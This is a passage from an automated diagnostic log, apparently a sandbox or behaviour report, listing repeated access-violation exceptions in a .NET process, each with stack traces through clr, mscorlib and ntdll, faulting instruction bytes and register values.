LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 35 f9 e6 69 8b d8 e9 1c fd ff ff e8 46 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x83211ec registers.esp: 87944052 registers.edi: 87944052 registers.eax: 49741096 registers.ebp: 87944136 registers.edx: 49741096 registers.ebx: 10 registers.esi: 0 registers.ecx: 0	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac1e01 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 78 04 b9 50 b3 31 72 e8 76 08 22 f8 8d 56 10 exception.instruction: mov edi, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8321851 registers.esp: 86633916 registers.edi: 49149752 registers.eax: 0 registers.ebp: 86634028 registers.edx: 137523173 registers.ebx: 51882492 registers.esi: 47587424 registers.ecx: 4018644	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x832184b 0x2ac1e01 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 3b 42 04 7f 73 b9 50 44 a8 02 ba 6d 00 00 00 e8 exception.instruction: cmp eax, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8325dff registers.esp: 86633792 registers.edi: 50193696 registers.eax: 0 registers.ebp: 86633908 registers.edx: 0 registers.ebx: 47603236 registers.esi: 86633792 registers.ecx: 47585612	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac1e01 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 78 04 b9 50 b3 31 72 e8 76 08 22 f8 8d 56 10 exception.instruction: mov edi, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8321851 registers.esp: 86633916 registers.edi: 50193696 registers.eax: 0 registers.ebp: 86634028 registers.edx: 137519452 registers.ebx: 47603236 registers.esi: 49299212 registers.ecx: 4018644	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac1e01 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 78 04 b9 50 b3 31 72 e8 76 08 22 f8 8d 56 10 exception.instruction: mov edi, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8321851 registers.esp: 86633916 registers.edi: 51269828 registers.eax: 0 registers.ebp: 86634028 registers.edx: 137523173 registers.ebx: 47603236 registers.esi: 50195792 registers.ecx: 4018644	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x832184b 0x2ac1e01 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 3b 42 04 7f 73 b9 50 44 a8 02 ba 6d 00 00 00 e8 exception.instruction: cmp eax, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8325dff registers.esp: 86633792 registers.edi: 52396476 registers.eax: 0 registers.ebp: 86633908 registers.edx: 0 registers.ebx: 47603236 registers.esi: 86633792 registers.ecx: 47585612	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac1e01 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 78 04 b9 50 b3 31 72 e8 76 08 22 f8 8d 56 10 exception.instruction: mov edi, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8321851 registers.esp: 86633916 registers.edi: 52396476 registers.eax: 0 registers.ebp: 86634028 registers.edx: 137519452 registers.ebx: 47603236 registers.esi: 51335676 registers.ecx: 4018644	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac1e01 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 78 04 b9 50 b3 31 72 e8 76 08 22 f8 8d 56 10 exception.instruction: mov edi, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8321851 registers.esp: 86633916 registers.edi: 52724308 registers.eax: 0 registers.ebp: 86634028 registers.edx: 137523173 registers.ebx: 47603236 registers.esi: 52398400 registers.ecx: 4018644	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x832184b 0x2ac1e01 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 3b 42 04 7f 73 b9 50 44 a8 02 ba 6d 00 00 00 e8 exception.instruction: cmp eax, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8325dff registers.esp: 86633792 registers.edi: 52935436 registers.eax: 0 registers.ebp: 86633908 registers.edx: 0 registers.ebx: 47603236 registers.esi: 86633792 registers.ecx: 47585612	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac1e01 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 78 04 b9 50 b3 31 72 e8 76 08 22 f8 8d 56 10 exception.instruction: mov edi, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8321851 registers.esp: 86633916 registers.edi: 52935436 registers.eax: 0 registers.ebp: 86634028 registers.edx: 137519452 registers.ebx: 47603236 registers.esi: 52769860 registers.ecx: 4018644	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac1e64 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 